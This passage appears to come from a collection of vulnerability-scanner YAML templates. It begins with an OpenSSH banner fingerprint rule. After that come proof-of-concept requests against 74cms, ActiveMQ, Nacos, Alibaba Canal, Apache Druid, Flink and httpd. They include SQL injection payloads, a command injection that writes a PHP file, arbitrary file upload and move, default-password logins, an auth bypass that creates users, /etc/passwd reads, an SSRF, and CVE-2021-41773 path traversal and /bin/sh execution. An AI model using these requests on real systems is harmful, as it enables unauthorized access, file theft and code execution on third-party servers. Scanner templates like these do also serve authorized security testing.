re43: '\"(?i)^SSH-([\\\\d.]+)-OpenSSH[_-](?P[\\\\w.]+)\\\\s*\\\\r?\\\\n\"'\n re44: '\"^SSH-([\\\\d.]+)-OpenSSH\\\\r?\\\\n$\"'\n re45: '\"^Access to service sshd from [-\\\\w_.]+@[-\\\\w_.]+ has been denied\\\\.\\\\r\\\\n\"'\nrules:\n r1:\n expression: re1.bmatches(response.raw)\n output:\n re1_result: re1.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re1_result[\"version0\"] + \" Debian \" + re1_result[\"version1\"] + \"\"'\n r2:\n expression: re2.bmatches(response.raw)\n output:\n re2_result: re2.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re2_result[\"version0\"] + \" Debian \" + re2_result[\"version1\"] + \"\"'\n r3:\n expression: re3.bmatches(response.raw)\n output:\n re3_result: re3.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re3_result[\"version0\"] + \" Ubuntu \" + re3_result[\"version1\"] + \"\"'\n r4:\n expression: re4.bmatches(response.raw)\n output:\n re4_result: re4.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re4_result[\"version0\"] + \" Debian \" + re4_result[\"version1\"] + \"\"'\n r5:\n expression: re5.bmatches(response.raw)\n output:\n re5_result: re5.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re5_result[\"version\"] + \" Fedora\"'\n r6:\n expression: re6.bmatches(response.raw)\n output:\n re6_result: re6.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re6_result[\"version\"]\n r7:\n expression: re7.bmatches(response.raw)\n output:\n re7_result: re7.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re7_result[\"version\"]\n r8:\n expression: re8.bmatches(response.raw)\n output:\n re8_result: re8.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re8_result[\"version\"]\n r9:\n expression: re9.bmatches(response.raw)\n output:\n re9_result: re9.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re9_result[\"version\"]\n r10:\n expression: re10.bmatches(response.raw)\n output:\n re10_result: re10.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re10_result[\"version\"]\n r11:\n expression: re11.bmatches(response.raw)\n output:\n re11_result: re11.bsubmatch(response.raw)\n osname: '\"FreeBSD\"'\n version: re11_result[\"version\"]\n r12:\n expression: re12.bmatches(response.raw)\n output:\n re12_result: re12.bsubmatch(response.raw)\n osname: '\"MiniBSD\"'\n version: re12_result[\"version\"]\n r13:\n expression: re13.bmatches(response.raw)\n output:\n re13_result: re13.bsubmatch(response.raw)\n osname: '\"NetBSD\"'\n version: re13_result[\"version\"]\n r14:\n expression: re14.bmatches(response.raw)\n output:\n re14_result: re14.bsubmatch(response.raw)\n device: '\"router\"'\n version: '\"\" + re14_result[\"version0\"] + \" mikrotik \" + re14_result[\"version1\"] + \"\"'\n r15:\n expression: re15.bmatches(response.raw)\n output:\n re15_result: re15.bsubmatch(response.raw)\n osname: '\"Windows\"'\n version: re15_result[\"version\"]\n r16:\n expression: re16.bmatches(response.raw)\n output:\n re16_result: re16.bsubmatch(response.raw)\n version: '\"\" + re16_result[\"version\"] + \" CAN-2004-0175\"'\n r17:\n expression: re17.bmatches(response.raw)\n output:\n re17_result: re17.bsubmatch(response.raw)\n version: '\"\" + re17_result[\"version\"] + \" NCSA_GSSAPI_20040818 KRB5\"'\n r18:\n expression: re18.bmatches(response.raw)\n output:\n re18_result: re18.bsubmatch(response.raw)\n version: re18_result[\"version\"]\n r19:\n expression: re19.bmatches(response.raw)\n output:\n re19_result: re19.bsubmatch(response.raw)\n version: re19_result[\"version\"]\n r20:\n expression: re20.bmatches(response.raw)\n output:\n re20_result: re20.bsubmatch(response.raw)\n version: re20_result[\"version\"]\n r21:\n expression: re21.bmatches(response.raw)\n output:\n version: '\"3.4p1 with CMU Andrew patches\"'\n r22:\n expression: re22.bmatches(response.raw)\n output:\n re22_result: re22.bsubmatch(response.raw)\n device: '\"switch\"'\n version: '\"\" + re22_result[\"version\"] + \" Allied Telesis\"'\n r23:\n expression: re23.bmatches(response.raw)\n output:\n re23_result: re23.bsubmatch(response.raw)\n version: re23_result[\"version\"]\n r24:\n expression: re24.bmatches(response.raw)\n output:\n re24_result: re24.bsubmatch(response.raw)\n version: re24_result[\"version\"]\n r25:\n expression: re25.bmatches(response.raw)\n output:\n re25_result: re25.bsubmatch(response.raw)\n version: re25_result[\"version\"]\n r26:\n expression: re26.bmatches(response.raw)\n output:\n re26_result: re26.bsubmatch(response.raw)\n osname: '\"AIX\"'\n version: re26_result[\"version\"]\n r27:\n expression: re27.bmatches(response.raw)\n output:\n re27_result: re27.bsubmatch(response.raw)\n version: re27_result[\"version\"]\n r28:\n expression: re28.bmatches(response.raw)\n output:\n device: '\"switch\"'\n r29:\n expression: re29.bmatches(response.raw)\n output:\n re29_result: re29.bsubmatch(response.raw)\n osname: '\"DragonFlyBSD\"'\n version: re29_result[\"version\"]\n r30:\n expression: re30.bmatches(response.raw)\n output:\n re30_result: re30.bsubmatch(response.raw)\n osname: '\"DragonFlyBSD\"'\n version: re30_result[\"version\"]\n r31:\n expression: re31.bmatches(response.raw)\n output:\n re31_result: re31.bsubmatch(response.raw)\n device: '\"firewall\"'\n version: re31_result[\"version\"]\n r32:\n expression: re32.bmatches(response.raw)\n output:\n re32_result: re32.bsubmatch(response.raw)\n device: '\"switch\"'\n version: re32_result[\"version\"]\n r33:\n expression: re33.bmatches(response.raw)\n output:\n re33_result: re33.bsubmatch(response.raw)\n version: re33_result[\"version\"]\n r34:\n expression: re34.bmatches(response.raw)\n output:\n re34_result: re34.bsubmatch(response.raw)\n version: re34_result[\"version\"]\n r35:\n expression: re35.bmatches(response.raw)\n output:\n re35_result: re35.bsubmatch(response.raw)\n version: re35_result[\"version\"]\n r36:\n expression: re36.bmatches(response.raw)\n output:\n re36_result: re36.bsubmatch(response.raw)\n version: re36_result[\"version\"]\n r37:\n expression: re37.bmatches(response.raw)\n output:\n re37_result: re37.bsubmatch(response.raw)\n version: re37_result[\"version\"]\n r38:\n expression: re38.bmatches(response.raw)\n output:\n re38_result: re38.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: '\"\" + re38_result[\"version0\"] + \" Raspbian \" + re38_result[\"version1\"] + \"\"'\n r39:\n expression: re39.bmatches(response.raw)\n output:\n re39_result: re39.bsubmatch(response.raw)\n version: re39_result[\"version\"]\n r40:\n expression: re40.bmatches(response.raw)\n output:\n re40_result: re40.bsubmatch(response.raw)\n osname: '\"Linux\"'\n version: re40_result[\"version\"]\n r41:\n expression: re41.bmatches(response.raw)\n output:\n re41_result: re41.bsubmatch(response.raw)\n version: re41_result[\"version\"]\n r42:\n expression: re42.bmatches(response.raw)\n output:\n re42_result: re42.bsubmatch(response.raw)\n version: re42_result[\"version\"]\n r43:\n expression: re43.bmatches(response.raw)\n output:\n re43_result: re43.bsubmatch(response.raw)\n version: re43_result[\"version\"]\n r44:\n expression: re44.bmatches(response.raw)\n output:\n device: '\"terminal server\"'\n r45:\n expression: re45.bmatches(response.raw)\nexpression: r1() || r2() || r3() || r4() || r5() || r6() || r7() || r8() || r9() || r10() || r11() || r12() || r13() || r14() || r15() || r16() || r17() || r18() || r19() || r20() || r21() || r22() || r23() || r24() || r25() || r26() || r27() || r28() || r29() || r30() || r31() || r32() || r33() || r34() || r35() || r36() || r37() || r38() || r39() || r40() || r41() || r42() || r43() || r44() || r45()\ndetail:\n fingerprint:\n infos:\n - type: system_bin\n name: openssh\n version: '{{version}}'\n - type: operating_system\n name: '{{osname}}'" }, { "path": "pocs/74cms-sqli-1.yml", "content": "name: poc-yaml-74cms-sqli-1\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\\xc3\\x97tamp=&nonce=\n headers:\n Content-Type: text/xml\n body: ]>&test;111112331%' union select md5({{rand}})#\n follow_redirects: false\n expression: response.body.bcontains(bytes(md5(string(rand))))\nexpression: r0()\ndetail:\n author: betta(https://github.com/betta-cyber)\n links:\n - https://www.uedbox.com/post/29340\n" }, { "path": "pocs/74cms-sqli-2.yml", "content": "name: poc-yaml-74cms-sqli-2\nmanual: true\ntransport: http\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23\n expression: response.body.bcontains(bytes(md5(string(rand))))\nexpression: r0()\ndetail:\n author: rexus\n links:\n - https://www.uedbox.com/post/30019/\n" }, { "path": "pocs/74cms-sqli.yml", "content": "name: poc-yaml-74cms-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa\") and extractvalue(1,concat(0x7e,md5(99999999))) -- a\n expression: response.body.bcontains(b\"ef775988943825d2871e1cfa75473ec\")\nexpression: r0()\ndetail:\n author: jinqi\n links:\n - https://www.t00ls.net/articles-54436.html\n" }, { "path": "pocs/activemq-cve-2016-3088.yml", "content": "name: poc-yaml-activemq-cve-2016-3088\nmanual: true\ntransport: http\nset:\n filename: randomLowercase(6)\n fileContent: randomLowercase(6)\nrules:\n r0:\n request:\n cache: true\n method: PUT\n path: /fileserver/{{filename}}.txt\n body: |\n {{fileContent}}\n expression: response.status == 204\n r1:\n request:\n cache: true\n method: GET\n path: /admin/test/index.jsp\n follow_redirects: false\n expression: response.status == 200\n output:\n search: '\"activemq.home=(?P.*?),\".bsubmatch(response.body)'\n home: search[\"home\"]\n r2:\n request:\n cache: true\n method: MOVE\n path: /fileserver/{{filename}}.txt\n headers:\n Destination: file://{{home}}/webapps/api/{{filename}}.jsp\n follow_redirects: false\n expression: response.status == 204\n r3:\n request:\n cache: true\n method: GET\n path: /api/{{filename}}.jsp\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(fileContent))\nexpression: r0() && r1() && r2() && r3()\ndetail:\n author: j4ckzh0u(https://github.com/j4ckzh0u)\n links:\n - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088\n" }, { "path": "pocs/activemq-default-password.yml", "content": "name: poc-yaml-activemq-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /admin/\n expression: response.status == 401 && response.body.bcontains(b\"Unauthorized\")\n r1:\n request:\n cache: true\n method: GET\n path: /admin/\n headers:\n Authorization: Basic YWRtaW46YWRtaW4=\n expression: response.status == 200 && response.body.bcontains(b\"Welcome to the Apache ActiveMQ Console of\") && response.body.bcontains(b\"

Broker

\")\nexpression: r0() && r1()\ndetail:\n author: pa55w0rd(www.pa55w0rd.online/)\n links:\n - https://blog.csdn.net/ge00111/article/details/72765210\n" }, { "path": "pocs/airflow-unauth.yml", "content": "name: poc-yaml-airflow-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /admin/\n expression: response.status == 200 && response.body.bcontains(b\"Airflow - DAGs\") && response.body.bcontains(b\"

DAGs

\")\nexpression: r0()\ndetail:\n author: pa55w0rd(www.pa55w0rd.online/)\n links:\n - http://airflow.apache.org/\n" }, { "path": "pocs/alibaba-canal-default-password.yml", "content": "name: poc-yaml-alibaba-canal-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /api/v1/user/login\n expression: response.status == 200 && response.body.bcontains(b\"com.alibaba.otter.canal.admin.controller.UserController.login\")\n r1:\n request:\n cache: true\n method: POST\n path: /api/v1/user/login\n headers:\n Content-Type: application/json\n body: '{\"username\":\"admin\",\"password\":\"123456\"}'\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"{\\\"code\\\":20000,\") && response.body.bcontains(b\"\\\"data\\\":{\\\"token\\\"\")\nexpression: r0() && r1()\ndetail:\n author: jweny(https://github.com/jweny)\n links:\n - https://www.cnblogs.com/xiexiandong/p/12888582.html\n" }, { "path": "pocs/alibaba-canal-info-leak.yml", "content": "name: poc-yaml-alibaba-canal-info-leak\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /api/v1/canal/config/1/1\n follow_redirects: false\n expression: response.status == 200 && response.content_type.icontains(\"application/json\") && response.body.bcontains(b\"ncanal.aliyun.accessKey\") && response.body.bcontains(b\"ncanal.aliyun.secretKey\")\nexpression: r0()\ndetail:\n author: Aquilao(https://github.com/Aquilao)\n links:\n - https://my.oschina.net/u/4581879/blog/4753320\n info: alibaba Canal info leak\n" }, { "path": "pocs/alibaba-nacos-v1-auth-bypass.yml", "content": "name: poc-yaml-alibaba-nacos-v1-auth-bypass\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(16)\n r2: randomLowercase(16)\nrules:\n r0:\n request:\n cache: true\n method: POST\n # 增加了 bypass 的方式\n path: /nacos/v1/auth/users/?username={{r1}}&password={{r2}}\n headers:\n User-Agent: Nacos-Server\n expression: response.status == 200 && response.body.bcontains(bytes(\"create user ok!\"))\n r1:\n request:\n cache: true\n method: GET\n path: /nacos/v1/auth/users/?pageNo=1&pageSize=999\n headers:\n User-Agent: Nacos-Server\n expression: response.status == 200 && response.body.bcontains(bytes(r1))\n r2:\n request:\n cache: true\n method: DELETE\n path: /nacos/v1/auth/users/?username={{r1}}\n headers:\n User-Agent: Nacos-Server\n # 不需要判断这个条件\n expression: \"true\"\nexpression: r0() && r1() && r2()\ndetail:\n author: kmahyyg(https://github.com/kmahyyg)\n links:\n - https://github.com/alibaba/nacos/issues/4593\n - https://github.com/alibaba/nacos/issues/4701\n vulnerability:\n id: CT-153900" }, { "path": "pocs/amtt-hiboss-server-ping-rce.yml", "content": "name: poc-yaml-amtt-hiboss-server-ping-rce\nmanual: true\ntransport: http\nset:\n r2: randomLowercase(10)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20\"\">../../{{r2}}.php&id=1\n expression: response.status == 200 && response.body.bcontains(b\"parent.doTestResult\")\n r1:\n request:\n cache: true\n method: GET\n path: /{{r2}}.php\n expression: response.status == 200 && response.body.bcontains(bytes(md5(r2)))\nexpression: r0() && r1()\ndetail:\n author: YekkoY\n links:\n - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html\n description: 安美数字-酒店宽带运营系统-远程命令执行漏洞\n" }, { "path": "pocs/apache-ambari-default-password.yml", "content": "name: poc-yaml-apache-ambari-default-password\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name\n headers:\n Authorization: Basic YWRtaW46YWRtaW4=\n expression: response.status == 200 && response.body.bcontains(b\"PrivilegeInfo\") && response.body.bcontains(b\"AMBARI.ADMINISTRATOR\")\nexpression: r0()\ndetail:\n author: wulalalaaa(https://github.com/wulalalaaa)\n links:\n - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide\n" }, { "path": "pocs/apache-druid-cve-2021-36749.yml", "content": "name: poc-yaml-apache-druid-cve-2021-36749\r\nmanual: true\r\ntransport: http\r\nrules:\r\n druid1:\r\n request:\r\n cache: true\r\n method: POST\r\n path: /druid/indexer/v1/sampler?for=connect\r\n headers:\r\n Content-Type: application/json;charset=utf-8\r\n body: |\r\n {\"type\":\"index\",\"spec\":{\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\"file:///etc/passwd\"]}}},\"samplerConfig\":{\"numRows\":500}}\r\n expression: response.status == 200 && response.content_type.contains(\"json\") && \"root:[x*]:0:0:\".bmatches(response.body)\r\n druid2:\r\n request:\r\n cache: true\r\n method: POST\r\n path: /druid/indexer/v1/sampler?for=connect\r\n headers:\r\n Content-Type: application/json;charset=utf-8\r\n body: |\r\n {\"type\":\"index\",\"spec\":{\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\"file:///c://windows/win.ini\"]}}},\"samplerConfig\":{\"numRows\":500}}\r\n expression: response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"for 16-bit app support\")\r\nexpression: druid1() || druid2()\r\ndetail:\r\n author: iak3ec(https://github.com/nu0l)\r\n links:\r\n - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w\r\n" }, { "path": "pocs/apache-flink-upload-rce.yml", "content": "name: poc-yaml-apache-flink-upload-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(8)\n r2: randomLowercase(4)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /jars\n follow_redirects: true\n expression: response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"address\") && response.body.bcontains(b\"files\")\n r1:\n request:\n cache: true\n method: POST\n path: /jars/upload\n headers:\n Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3\n body: \"\\\n --8ce4b16b22b58894aa86c421e8759df3\\r\\n\\\n Content-Disposition: form-data; name=\\\"jarfile\\\";filename=\\\"{{r2}}.jar\\\"\\r\\n\\\n Content-Type:application/octet-stream\\r\\n\\\n \\r\\n\\\n {{r1}}\\r\\n\\\n --8ce4b16b22b58894aa86c421e8759df3--\\r\\n\\\n \"\n follow_redirects: true\n expression: response.status == 200 && response.content_type.contains(\"json\") && response.body.bcontains(b\"success\") && response.body.bcontains(bytes(r2))\n output:\n search: '\"(?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))\".bsubmatch(response.body)'\n filen: search[\"filen\"]\n r2:\n request:\n cache: true\n method: DELETE\n path: /jars/{{filen}}\n follow_redirects: true\n expression: response.status == 200\nexpression: r0() && r1() && r2()\ndetail:\n author: timwhite\n links:\n - https://github.com/LandGrey/flink-unauth-rce\n" }, { "path": "pocs/apache-httpd-cve-2021-40438-ssrf.yml", "content": "name: poc-yaml-apache-httpd-cve-2021-40438-ssrf\r\nmanual: true\r\ntransport: http\r\nrules:\r\n r0:\r\n request:\r\n cache: true\r\n method: GET\r\n path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://baidu.com/api/v1/targets\r\n follow_redirects: false\r\n expression: response.status == 302 && response.headers[\"location\"] == \"http://www.baidu.com/search/error.html\"\r\nexpression: r0()\r\ndetail:\r\n author: Jarcis-cy(https://github.com/Jarcis-cy)\r\n links:\r\n - https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-40438\r\n" }, { "path": "pocs/apache-httpd-cve-2021-41773-path-traversal.yml", "content": "name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal\nmanual: true\ntransport: http\nrules:\n cgibin0:\n request:\n cache: true\n method: GET\n path: /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd\n expression: response.status == 200 && \"root:[x*]:0:0:\".bmatches(response.body)\n icons0:\n request:\n cache: true\n method: GET\n path: /icons/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd\n expression: response.status == 200 && \"root:[x*]:0:0:\".bmatches(response.body)\nexpression: cgibin0() || icons0()\ndetail:\n author: JingLing(https://github.com/shmilylty)\n links:\n - https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ\n" }, { "path": "pocs/apache-httpd-cve-2021-41773-rce.yml", "content": "name: poc-yaml-apache-httpd-cve-2021-41773-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(800000000, 1000000000)\n r2: randomInt(800000000, 1000000000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh\n body: echo;expr {{r1}} + {{r2}}\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 + r2)))\nexpression: r0()\ndetail:\n author: B1anda0(https://github.com/B1anda0)\n links:\n - https://nvd.nist.gov/vuln/detail/CVE-2021-41773\n" }, { "path": "pocs/apache-kylin-unauth-cve-2020-13937.yml", "content": "name: poc-yaml-apache-kylin-unauth-cve-2020-13937\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /kylin/api/admin/config\n expression: response.status == 200 && response.headers[\"Content-Type\"].contains(\"application/json\") && response.body.bcontains(b\"config\") && response.body.bcontains(b\"kylin.metadata.url\")\nexpression: r0()\ndetail:\n author: JingLing(github.com/shmilylty)\n links:\n - https://s.tencent.com/research/bsafe/1156.html\n" }, { "path": "pocs/apache-nifi-api-unauthorized-access.yml", "content": "name: poc-yaml-apache-nifi-api-unauthorized-access\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /nifi-api/flow/current-user\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"json\") && 